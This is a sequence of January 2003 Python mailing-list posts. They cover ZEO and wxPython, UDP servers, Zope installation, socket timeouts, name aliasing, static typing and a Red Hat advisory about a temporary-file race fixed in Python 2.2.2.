is there a trick to it even though i copy it straight from the tutorial? im
assuming i even downloaded a bad file or im doing it wrong and the tutorial is
wrong but i dont think  i downloaded a bad file because this happened to me on
all versions of the python interpreter. so any words of advice to help me out
would be appreciated thanx.



From troy at gci.net  Wed Jan 22 03:58:41 2003
From: troy at gci.net (Troy Melhase)
Date: Tue, 21 Jan 2003 23:58:41 -0900
Subject: ZEO/wxPython
In-Reply-To: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au>
References: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au> <v2rc11pjt9bn3e@corp.supernews.com> <3e2dcd18$0$7811$afc38c87@news.optusnet.com.au>
Message-ID: <v2sn1iasbue9af@corp.supernews.com>

Mike:

No, I'm not calling sync() at all.  In my case, I have a rather large 
data set that is in constant flux -- I only commit it to ZEO once in a 
while.  If you need to see the changes made by other ZEO clients, you 
should probably try Jeremy's approach first.

Good luck again,
troy


Mike Thompson wrote:

> "Troy Melhase"  wrote in message
> news:v2rc11pjt9bn3e at corp.supernews.com...
>
> >When you say "a ZEO client using wxPython" I assume you mean that you 
> want a
> >wx app that uses ZEO to load and save data.  If that assumption isn't
> >correct, please let me know.
>
>
> Yep, that's it. A wxPython application using ZEO to serve its ZODB 
> database.
>
>
> >That said, I have a wxPython app that uses ZEO, and haven't had any
> >problems.  The only issue I've encountered is high CPU utilization when
> >saving lots of data via ZEO.  I'm pretty sure that behavior is 
> specific to
> >my applications data and the methods I use to store them.
>
>
> Did you "call the ClientStorage's sync() method periodically"  as 
> suggested by
> Jeremy elsewhere in this thread?  Any issues with this?
>
> -Mike.
>
>




From gerhard.haering at opus-gmbh.net  Thu Jan 30 10:07:32 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 30 Jan 2003 15:07:32 GMT
Subject: Service Control
References: <mailman.1043937370.12355.python-list@python.org>
Message-ID: <slrnb3ifql.1f8.gerhard.haering@haering.opus-gmbh.net>

Hutchins, Mike <mhutchins at amr-corp.com> wrote:
> I am not trying to be rude, but did I post this to the wrong list?

Maybe just nobody knew an answer, or all three people who do Windows services
in Python are on vacation ;-)

> If I posted to the wrong list, can someone suggest an alternative list
> for a newbie like myself?

You've chosen an appropriate list, as this one is about *all* things Python.
There is, however, a python-win32 specially targeted at the win32 topic:
http://mail.python.org/mailman/listinfo/python-win32 

Perhaps you'll have better luck there.

It's also always a good idea to post minimal code that shows the problem. And
maybe chose a subject that will make Mark Hammond look at your message ;-)

-- Gerhard



From skip at pobox.com  Wed Jan 15 23:49:10 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 22:49:10 -0600
Subject: FW: Switch statements again
In-Reply-To: <20030116143057.B1683@regdp-02.intint.registriesltd.com.au>
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>
        <1042672900.3e25ed04a5f1a@www.progoth.com>
        <20030116143057.B1683@regdp-02.intint.registriesltd.com.au>
Message-ID: <15910.14790.560885.524643@montanaro.dyndns.org>

    David> Python should get a case/switch statement, ...

A fair amount of thought has been put into this topic.  Have a look at PEP
275:

    http://www.python.org/peps/pep-0275.html

and see if you can help advance it.  There's even a patch which implements
some portion of the PEP.

Skip




From peter at engcorp.com  Wed Jan  1 17:44:10 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Jan 2003 17:44:10 -0500
Subject: Q: How to UDPServer ??
References: <auvks1$atb$1@mail.cn99.com>
Message-ID: <3E136F3A.5DA5E216@engcorp.com>

"????" wrote:
> 
> I have some problems in the quote_srv.py I write as below, quote server on
> TCP works well, but I can get no message on the UDP mode, are there some
> problems in the QutoeMyxinHandler ??

> if __name__=='__main__':
>     UDPQuoteSrv = UDPServer( ('', quote_port), UDPQuoteHandler )
>     TCPQuoteSrv = TCPServer( ('', quote_port), TCPQuoteHandler )
> 
>     UDPQuoteSrv.server_activate()
>     TCPQuoteSrv.serve_forever()

Looks to me like you need to call serve_forever() on the UDPQuoteSrv
as well, but of course you can't do that on both servers from the
same thread and get useful results.  Try changing the last line above
to use the UDPQuoteSrv and see if it works.

(There may be other mistakes, but this one just stood out.  I can't
be sure this is the only problem you have as I haven't tried to run
the code.)

-Peter



From Mongryong at sympatico.ca  Sat Jan 25 16:43:33 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 16:43:33 -0500
Subject: Generating Unique Keys
In-Reply-To: <iRCY9.146$qb1.126@nwrddc01.gnilink.net>
References: <1043511783.4939.1.camel@refugeeMedia>  
	<15922.49110.110304.235838@montanaro.dyndns.org>
	<mailman.1043515846.16890.python-list@python.org>
	<3E32E6EF.AA8C5A69@engcorp.com>  <iRCY9.146$qb1.126@nwrddc01.gnilink.net>
Message-ID: <1043531013.4964.14.camel@refugeeMedia>

> Because then a malicious user could easily get access to someone
> else's web session, since they know keys are sequential.  The
> requirement wasn't stated, but it's generally a valid to assume the
> webmaster doesn't want this to happen.

Even with a 'randomly' generated session key, a malicious user can still
steal the session key of a active user.  Is there an algorithm or
solution to this security risk? 





From andy at apsinnovations.com  Mon Jan 20 23:01:43 2003
From: andy at apsinnovations.com (Andy Preston)
Date: 20 Jan 2003 20:01:43 -0800
Subject: Cross compiling for ARM
Message-ID: <1043121703.339.16.camel@p3.preston-medina.com>

Hi, 
I'm currently trying to get 2.3a1 to cross compile for ARM. I have a
pretty much successfull compile right up until it attempts to run
./python setup.py . This or course fails because ./python is the cross
compiled version and not the host version of python. I modified
Makefile.pre.in to add a $(HOSTPYTHONPATH)/python so that a make flag
could be added to path the hosts python for when cross compiling. I'm
running Slackware 8.1 with their default python 2.2 and this fails with
an error on line 8 of setup.py "cannot find import name log".

 Parser/pgen is fails, but it doesn;t seem to effect python from
compiling.

 Unfortunately I don't know enough about python to continue from here. 

I'm currently not subscribed to the list, so please CC me as well

thanks,

Andy

-- 
Andy Preston <andy at apsinnovations.com>
APS Innovations





From tutal at msn.com  Wed Jan  8 19:15:15 2003
From: tutal at msn.com (mlorfeld)
Date: 8 Jan 2003 16:15:15 -0800
Subject: Simple Zope Photo Album
References: <74977d59.0301031118.75afd76d@posting.google.com> <slrnb1dbkp.22e2.karsten@datasink.webmonster.de> <74977d59.0301061215.7d734f8e@posting.google.com> <mailman.1041975813.20562.python-list@python.org>
Message-ID: <74977d59.0301081615.751f4b78@posting.google.com>

Andrew McGregor <andrew at indranet.co.nz> wrote in message news:<mailman.1041975813.20562.python-list at python.org>...
> --On Monday, January 06, 2003 12:15:33 -0800 mlorfeld <tutal at msn.com> wrote:
> 
> >
> >
> > Thanks,
> > This is *almost* exactly what I wanted.  The only problem is that I
> > have no FTP access, so I will have to upload manually through the Zope
> > interface, but that won't be too big of a problem, just time
> > consuming.
> 
> Can't you use the Zope server's WebDAV instead of ftp?
> 
> Andrew

As I have said earlier, I cannot access my Zope site via ftp nor can I
add products as it is on a nipltd.net free account (WebDAV is disabled
for free accounts)



From imbosol at vt.edu  Sun Jan 12 14:33:05 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 12 Jan 2003 19:33:05 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org>
Message-ID: <RpjU9.13481$%V.8248@nwrddc02.gnilink.net>

Christian Tismer wrote:
> Thanks, this is very encouraging.
> Yes, the current C implementation is probably
> near the best compromise between readability,
> maintainability and efficiency ...

You left out backwards compatibility.

> ... that can be
> achieved with a static system.


-- 
CARL BANKS



From jarrodhroberson at yahoo.com  Mon Jan 27 02:41:49 2003
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 26 Jan 2003 23:41:49 -0800
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com> <mailman.1043402569.23617.python-list@python.org>
Message-ID: <c718a6cf.0301262341.7e290e0b@posting.google.com>

"James J. Besemer" <jb at cascade-sys.com> wrote in message news:<mailman.1043402569.23617.python-list at python.org>...
> Y2KYZFR1 wrote:
> 
> > It does not show how clever you are, just how lazy and inconsiderate
> > you are. I have fired people for less than this personally!
> 
> Then I'd say you're lucky if you haven't been sued for wrongful termination. 
>      ;o)  Or perhaps you're luckily not subject to all the same rules that 
> constrain managers in the US.
> 
I live in a Right to Work state, no reason is needed to fire someone,
unlike some of the more socialist states in the union . . . and even
if I didn't, not following instructions such as style guides is more
than enough "reason" to fire someone.



From vanevery at 3DProgrammer.com  Thu Jan 30 16:49:07 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:49:07 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com> <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net> <EO6_9.140743$AA2.5799807@news2.tin.it>
Message-ID: <n5h_9.5386$Wu1.386311@newsread1.prod.itd.earthlink.net>

Alex Martelli wrote:
>
> Python is ALSO a great productivity tool for average programmers,
> raising their productivity (on the some hypothetical scale) from, say,
> 20 to 60.

Why don't they just shoot themselves in the foot with all the new concerns,
until they've mastered the drill and hence have become better programmers?
Sounds like the progression might be more like 20, 25, 15, 10, 20, 25, 30,
60.  Over that time period, how much better would they have gotten with C++?

> Therefore, it IS indeed no magic bullet -- it doesn't make the
> average programmer the equal of the excellent one -- but it would
> still be a stupid choice to forego its advantages at any level.

You would not inflict new tools on dummies needlessly.  You have to allow
for training time to achieve benefits.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From dave at pythonapocrypha.com  Thu Jan 30 16:32:45 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 30 Jan 2003 13:32:45 -0800 (PST)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030130195549.45476.qmail@web10305.mail.yahoo.com>
References: <20030130195549.45476.qmail@web10305.mail.yahoo.com>
Message-ID: <Pine.LNX.4.51.0301301330080.11040@ns0.tbye.com>

[Moved from python-dev]

On Fri, 31 Jan 2003, [iso-8859-1] Graham Guttocks wrote:

> Greg Ewing <greg at cosc.canterbury.ac.nz> wrote:
> >
> >> one glaring weakness is the absence of a high-performance native
> >> code compiler. Are there any plans to develop this?
> >
> > This is asked fairly frequently, and the usual answer is "No, but
> > you're welcome to volunteer." :-)
>
> Really? It surprises me that after 10 years, this isn't something that
> has been given more priority. Is the problem simply too difficult?

I believe it's more a question of need. You're overestimating how often
Python ends up being too slow and/or how often compiling it would help
much.

-Dave




From clspence at one.net  Thu Jan 16 14:44:39 2003
From: clspence at one.net (Chris Spencer)
Date: 16 Jan 2003 13:44:39 -0600
Subject: Interesting problem comparing strings with integer values...
References: <dkub2vgjq4bvmipltiq1rtt1aaumqrnoc8@4ax.com> <86e50b.m44.ln@beastie.ix.netcom.com>
Message-ID: <ne2e2vgk2ul5ikssua9sfeabf2stsfs55j@4ax.com>

	To quote a wise grey-beard in my company: "If it were easy, they
wouldn't pay us to do this."
	Unfortuately, we can't rely on stored procedures or built-in functions
of databases because we're working through a "unified layer" that will
eventually support Oracle, Informix, MS SQL Server, mySQL, postgre, DB2, etc...
	So as you can see, with us supporting so many different database
engines, relying on special features of any engine just won't fly.  Heh.
	One upshot of this is that I'm learning more than I *ever* wanted to
know about relational databases and syntax oddities of different SQL
implementations. :)

(OBONTOPIC) I'd be scared to everloving DEATH of doing this project in any
language other than Python.  Introspection and self-modifying code are the two
features that have made this project even remotely possible.

Chris.

On Wed, 15 Jan 2003 20:58:48 -0800, Dennis Lee Bieber <wlfraed at ix.netcom.com>
wrote:
>> As I mentioned in my first post, while the above SQL statement would
>> be incorrect, the below SQL code WOULD.
>> 
>> select blah from table where value>"00000999" and value<"00003432";
>>
>        According to my books, PostgreSQL and MySQL support:
>
>select blah from table where
>LPAD(value, 20, "0") > LPAD("999", 20, "0")
>
>assuming "value" is a string type and the 20 is an arbitrary result 
>width.
>
>        You may be attacking this from the wrong end -- see what functions are 
>available within the database SQL itself to support this. If you have 
>stored procedure capability, it may also be of help if you can define a 
>stored procedure function (I'm weak on what can be done with stored 
>procedures) accessible from within SQL statements.




From gminick at hacker.pl  Wed Jan 22 08:03:58 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Wed, 22 Jan 2003 13:03:58 +0000 (UTC)
Subject: grace way to repeat a function
References: <b0dr6o$lbi$1@mail.cn99.com>
Message-ID: <b0m4ru$6cb$1@news.tpi.pl>

Dnia Sun, 19 Jan 2003 17:30:04 +0800, knightmare napisa?(a):
> i'm finding a way to repeat a function.used to do like this:
> for i in range(1,10):
>     print "function"
> but i think this not graceful.anyone have good idea ?
def pstr(s, n):
   print (s+"\n") * n,

pstr("function", 10) # prints 'funtcion' 10 times.

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From zopestoller at thomas-guettler.de  Wed Jan  8 04:29:05 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Wed, 08 Jan 2003 10:29:05 +0100
Subject: Zope
References: <d96ed82b.0301080107.4d94a53@posting.google.com>
Message-ID: <avgqs6$s36$07$1@news.t-online.com>

Gionni schrieb:
> Could anybody help me, please. During installation this error appears:
> 
> 'import site' failed; use -v for traceback
> Traceback (most recent call last):
>   File "inst/binary_install.py", line 20, in ?
>     import sys, os, getopt
> ImportError: No module named os

There is something broken with your python version.
Start the python interpreter you use for installing.
This might be different from your normal python since
Zope might bring its own.

Then try "import os"

What Zope, Python, Operating System do you use?

  thomas




From mikael at isy.liu.se  Mon Jan 13 07:21:13 2003
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Mon, 13 Jan 2003 13:21:13 +0100
Subject: Seeking Minimal Python Project Name
In-Reply-To: <32A390F8-26E9-11D7-B694-00050287C0A6@earthlink.net>
References: <32A390F8-26E9-11D7-B694-00050287C0A6@earthlink.net>
Message-ID: <20030113132113.1ee9bdb9.mikael@isy.liu.se>

On Mon, 13 Jan 2003 03:21:44 -0800
Kow K <kowk at earthlink.net> wrote:
> Lighthon	(sounds lighter and smaller ...)
> Lython		(variation of the above)

I like those.

> Fython		(really *looks* like Python, but it's not ...)
> Ython		(sounds and looks brief)

I do not like those.

> Phyton		(simple mutation)

This is a common misspelling of Python, so I dislike this one.

The name should not be too similar to Python, to make it reasonable
simple to distinguish them. However, choosing a name that in some way
still resembles Python may be a good idea. That is why I like the first
two suggestions here, and dislike the others. 

/Mikael Olofsson

-----------------------------------------------------------------------
E-Mail:  mikael at isy.liu.se
WWW:     http://www.dtr.isy.liu.se/dtr/staff/mikael               
Phone:   +46 - (0)13 - 28 1343
Telefax: +46 - (0)13 - 28 1339

         /"\
         \ /     ASCII Ribbon Campaign
          X      Against HTML Mail
         / \

This message was sent by Sylpheed.
-----------------------------------------------------------------------
Link?pings kammark?r: www.kammarkoren.com




From max at alcyone.com  Wed Jan 29 18:45:19 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 15:45:19 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <eXqdncFNna18SKqjXTWcog@speakeasy.net>
Message-ID: <3E38678F.7AD9FABE@alcyone.com>

"A.M. Kuchling" wrote:

> No, that's beta; features can keep being added in successive alphas. 

I was referring to the industry standard.  Alpha means feature complete,
beta means no (known) highest-priority bugs remaining.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The cost of living has gone up another dollar a quart.
\__/ W.C. Fields
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From tjreedy at udel.edu  Tue Jan 28 15:19:18 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 28 Jan 2003 15:19:18 -0500
Subject: Can you do it faster? (parsing text file)
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <RbmcnYI1dcLfequjXTWcpg@comcast.com>

"Marcus Stojek" <stojek at part-gmbh.de> wrote in message
news:3e3650fc.2103718 at news.easynews.net...
> Hi,
>
> I have to parse large txt-files (15Mb and more, 200000 lines).
> The file consits of comma separated keywords and alphanumerical
data.
> Each command line starts with some or no blanks, a '*' and the
keyword
> followed by comma separated paramters

I would separate the problem into two parts: 1) divide the input into
blocks (each headed by a command line); 2) turn each block into an
entry for the output list.  I would write the block generator as
that -- a generator, which lets you yield at precisely the right
point:

def blocks(infile):
  block = []
  for line in file(infile)
    if iscommand(line):
       if block: yield block
       block = [line]
    elif isnotcomment(line):
       block.append(line)

Terry J. Reedy





From skip at pobox.com  Wed Jan 29 10:33:00 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 09:33:00 -0600
Subject: RHSA-2002:202-25
In-Reply-To: <20030129.141438.70474179.yasusii@lowlife.jp>
References: <20030129.141438.70474179.yasusii@lowlife.jp>
Message-ID: <15927.62508.299637.944007@montanaro.dyndns.org>

    Yasushi> Red Hat announced that an insecure use of a temporary file has
    Yasushi> been found in Python

    Yasushi> http://rhn.redhat.com/errata/RHSA-2002-202.html

    Yasushi> I cannot find the patch on ftp.python.org. Where can I find the
    Yasushi> patch?  Is there a plan to release patched version?

This is in 2.2.1 and earlier.  I believe the fix was applied to os.py
version 1.59 last August:

    revision 1.59
    date: 2002/08/05 16:13:24;  author: gvanrossum;  state: Exp;  lines: +6 -21
    SF patch 590294: os._execvpe security fix (Zack Weinberg).

    1) Do not attempt to exec a file which does not exist
    just to find out what error the operating system
    returns. This is an exploitable race on all platforms
    that support symbolic links.

    2) Immediately re-raise the exception if we get an
    error other than errno.ENOENT or errno.ENOTDIR. This
    may need to be adapted for other platforms.

    (As a security issue, this should be considered for 2.1
    and 2.2 as well as 2.3.)

You should upgrade to 2.2.2.

Skip




From migmog99 at hotmail.com  Wed Jan 29 13:33:39 2003
From: migmog99 at hotmail.com (Andrew)
Date: 29 Jan 2003 10:33:39 -0800
Subject: Getting return value in os.system rsh call
Message-ID: <48633651.0301291033.6f6afeb6@posting.google.com>

I'm writing a test script which kicks off tests on remote machines,
and I need to get the return code from the remote test in my main
program.

the relevent bit is

os.system("rsh remote test.py")

How can I get the return value of test.py?

any ideas?

cheers
Andrew



From dagurp at heimsnet.is  Sat Jan 11 18:45:36 2003
From: dagurp at heimsnet.is (=?ISO-8859-1?Q?Dagur_P=E1ll_Ammendrup?=)
Date: Sat, 11 Jan 2003 23:45:36 +0000
Subject: possible ftplib bug
In-Reply-To: <avqa0s$vh1$1@slb4.atl.mindspring.net>
References: <avq8ar$k87$1@mikill.isnet.is> <avqa0s$vh1$1@slb4.atl.mindspring.net>
Message-ID: <avqabb$pdr$4@mikill.isnet.is>

Oops! Clumsy mistake. Thanks for your help :)





From maxm at mxm.dk  Fri Jan 31 05:09:54 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 31 Jan 2003 11:09:54 +0100
Subject: In continuing of my question...
In-Reply-To: <b1dhin$1k8l$1@bull.east.ru>
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <mailman.1043997238.14292.python-list@python.org> <b1dgcq$1iss$1@bull.east.ru> <EKr_9.48894$Hl6.6194298@news010.worldonline.dk> <b1dhin$1k8l$1@bull.east.ru>
Message-ID: <OVr_9.48900$Hl6.6195129@news010.worldonline.dk>

Nicolay Vasiliev wrote:
>>Wich possibility? What do you mean by reporting?

> I meant could I export data retrieved from any data sources (db or files)
> into MS Excel using python developed application. BTW, earlier you answered
> meaning COM, it's enough for me.


Ok, great.

> PS: Again sorry for inconvenience :(.


If it was inconvenient we wouldn't be in this group at all ;-)


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From dave at pythonapocrypha.com  Sat Jan 18 23:24:38 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sat, 18 Jan 2003 20:24:38 -0800 (PST)
Subject: socket programming strategy
In-Reply-To: <000601c2bf1d$df4b3540$9e88013d@JeethuRao>
References: <000601c2bf1d$df4b3540$9e88013d@JeethuRao>
Message-ID: <Pine.LNX.4.51.0301182021480.13436@ns0.tbye.com>

On Sat, 18 Jan 2003, Jeethu Rao wrote:

> Only and very un portable. So, I started using
> Timothy O'Malley's timeoutsocket module. But, I'm
> Not quite satisfied (and dissatisfaction is quite a
> Pain in the mind).

What problems are you having with timeoutsocket?

> Today, I hit upon the idea of using
> select() calls inside threads, waiting for just one socket.
> And I believe select() is a lot more efficient than simple
> Busy waiting loops. For Unix, I assume errno.EWOULDBLOCK is
> Quite the same as WSAEWOULDBLOCK.
>
> Is this plan workable? Or have I missed something?

Hehe... yeah it's workable: it's exactly what timeoutsocket does. :)

-Dave




From skip at pobox.com  Sun Jan 12 15:53:20 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 12 Jan 2003 14:53:20 -0600
Subject: Mail problems...
In-Reply-To: <200301121343.07311.andy@eastonwest.co.uk>
References: <200301121343.07311.andy@eastonwest.co.uk>
Message-ID: <15905.54720.169532.865204@montanaro.dyndns.org>

    andy> Maybe it's just me (or my setup), but I'm getting really
    andy> inconsistent results downloading this list.

Mail.python.org has been having problems for the past several days.  It's a
known problem, one the list maintainers have been working on.  I'm not sure
what the current status is, but I believe things were improving throughout
the day Friday.

    andy> 2) I get others postings out of order; I get loads of replies but
    andy>    no original, then the original appears many hours or maybe even
    andy>    a day later... Oh, and that has happened with replies to some
    andy>    of my posts too!

No system makes any promises to deliver mail in any particular order.

Skip




From exarkun at intarweb.us  Wed Jan 15 19:40:36 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 15 Jan 2003 19:40:36 -0500
Subject: ...so would aliases be a bad idea? (Re: references / aliases in Python)
In-Reply-To: <f57664b9.0301151625.65069704@posting.google.com>
References: <f57664b9.0301141544.1f797188@posting.google.com> <lSdV9.2821$YI5.1170@news2.central.cox.net> <f57664b9.0301151625.65069704@posting.google.com>
Message-ID: <20030116004036.GA11192@meson.dyndns.org>

On Wed, Jan 15, 2003 at 04:25:54PM -0800, Jonathan P. wrote:
> > The Python philosophy regarding poiner types is simple: there aren't any.
> > Names are references to values. Attributes of objects are references to
> > values. Elements of dictionaries, lists and tuples are references to values.
> > Values do not have names, they are simply bound by assignment (to names,
> > attributes of objects, or elements of dictionaries, lists and tuples). Each
> > value (object) has an associated reference counter, incremented and
> > decremented automatically as references are created and destroyed. When an
> > object's reference count reaches zero it becomes a candidate for garbage
> > collection. Special features allow collection of "cyclic garbage" to handle
> > the cases where a set of objects refer only to each other.
> 
> So if one allows 2 different names to bind to the exact same object,
> would that be a bad idea?  There are many situations where one
> would like a shorter name to bind to an object which might otherwise
> be only referrable to only by a very long chain of attributes.
> 
> >>> class A:
>       def __init__(self):
>         self.long_name1=5
>         self.long_name2=15
>       def f1(self):
>         alias1=&self.long_descriptive_name1  # alias1 and alias2 become
>         alias2=&self.long_descriptive_name2  # bound to the same objects as 
>         if alias1>alias2+1: alias1=alias2    # self.long_descriptive_name1 and
>                                              # self.long_descriptive_name2
>                                              # respectively

  Anything that might cause confusing, unexpected behavior just for the sake
of saving a few keystrokes is bad idea in my book.  A much better solution
to this problem, for me, would be...

class A:
    # long, descriptive text, or better, property() with a docstring
    n1 = n2 = None

    def __init__(self):
        self.n1 = 5
        self.n2 = 15

    def f1(self):
        if self.n1 > self.n2: self.n1 = self.n2

> [snip]
> 
> More comments...?

  If you consider the potential for seriously non-local effects that this
opens up, I don't see how one can see it is a plus :)  Imagine if a library
took an "alias" from something you passed in to it.  Even if this was well
documented, it would be hell to track down if you weren't expecting it.


  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
--
 12:00am up 30 days, 9:47, 3 users, load average: 0.39, 0.25, 0.25
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/5300727c/attachment.sig>

From max at malva.com.uaREMOVE.IT  Thu Jan  9 09:51:08 2003
From: max at malva.com.uaREMOVE.IT (Max Ischenko)
Date: Thu, 9 Jan 2003 16:51:08 +0200
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com>
Message-ID: <s82kva.11c.ln@cvs>

 Peter Hansen wrote:

>> Static
>> typing is just another tool to help the development process, and even if
>> proper testing reduces the advantages of static typing by 50 or 75%,
>> I'll still take whatever extra advantages I can get when I write code.

> Not to beat a dead horse, but what if the advantages were reduced by,
> say, 98%.  Given the loss in productivity involved with all those extra
> keystrokes for the static typing information for the compiler, you 
> might reach a point where it is *less* effective overall to have the
> static typing in place.  :-)

> That is how I feel, at any rate, having spent many many years writing
> code with static type checking available (C, C++, Delphi and Java).


Sophisticated type system, like the Hindley-Milner (Haskell)
could free you from extra typing still providing advantages of the static
type checking.

-- 
Do not underestimate the value of print statements for debugging.
Don't have aesthetic convulsions when using them, either.



From trentm at ActiveState.com  Mon Jan 27 18:51:01 2003
From: trentm at ActiveState.com (Trent Mick)
Date: Mon, 27 Jan 2003 15:51:01 -0800
Subject: PyXPCOM
In-Reply-To: <b14bl7$30$1@news-int.gatech.edu>; from grayrest@grayrest.com on Mon, Jan 27, 2003 at 05:23:48PM -0500
References: <b113v7$npt1@rain.i-cable.com> <b14bl7$30$1@news-int.gatech.edu>
Message-ID: <20030127155101.G29090@ActiveState.com>

[grayrest wrote]
> shawn wrote:
> > I am planning to write a program that use Python, Mozilla and pyxpcom. 
> > As I can't find the binary of pyxpcom, I have to compile it for myself. 
> > But I don't want to use the costly MSVC. Can anyone can give me a hand? 
> > I am used to use the Mingw as my C++ compiler.
> 
> I don't think that pyxpcom is being maintained or that it will 
> build/work with versions of mozilla built after 4/1/2002 (including your 
> version 1.0).
> 

Not true, although I grant that it is difficult to get it building.
This bug includes some necessary patches to get it to build with recent
Mozilla source trees:
    http://bugzilla.mozilla.org/show_bug.cgi?id=129216


Trent

-- 
Trent Mick
TrentM at ActiveState.com




From max at malva.com.uaREMOVE.IT  Fri Jan 10 09:14:03 2003
From: max at malva.com.uaREMOVE.IT (Max Ischenko)
Date: Fri, 10 Jan 2003 16:14:03 +0200
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <s82kva.11c.ln@cvs> <3E1D90A7.65024A33@engcorp.com>
Message-ID: <bfkmva.m8l.ln@cvs>

 Peter Hansen wrote:

>> Sophisticated type system, like the Hindley-Milner (Haskell)
>> could free you from extra typing still providing advantages of the static
>> type checking.

> I haven't felt in any way hampered by the lack of those "advantages"
> so far, and I strongly doubt Haskell would be as nice, for me, to code in
> as Python, nor as readable.

I'd prefer Python over Haskell in 99 from 100 cases but this is irrelevant
to the point. I just wanted to say that static type system _could_ provide
actual advatages and there are decent languages which exploit this.

May be Python 3k would got the Hindley-Milner type system? ;-)

> -Peter

-- 
   $ :qa
   bash: :qa: command not found



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sat Jan 25 19:51:52 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 26 Jan 2003 01:51:52 +0100
Subject: AmigaDOS threads (was: Re: killing thread ?)
In-Reply-To: <9349g-6m3.ln1@beastie.ix.netcom.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043427344.24979.python-list@python.org> <7xadhq8o6u.fsf@ruckus.brouhaha.com> <3e3177e8$0$49109$e4fe514c@news.xs4all.nl> <9349g-6m3.ln1@beastie.ix.netcom.com>
Message-ID: <3e332fc5$0$49107$e4fe514c@news.xs4all.nl>

Dennis Lee Bieber wrote:
>         Or, to use Amiga terms, the bottom of the hierarchy was an Exec task; 
> AmigaDOS processes were tasks with extra data in the task control block 
> -- primarily entries for stdin, stdout, and some other AmigaDOS level 
> data (Exec was the task switch/memory allocation/IPC [messages] kernel 
> library; I/O and other stuff were libraries built using Exec 
> capabilities. AmigaDOS was the "user level" view, the shell commands 
> and file concepts.)

You're right ofcourse. Though I always refer to the Amiga's OS with
"AmigaDOS".   Others use "Kickstart", which was actually the name
for the 512Kbyte ROM that contained the core OS. ;-)

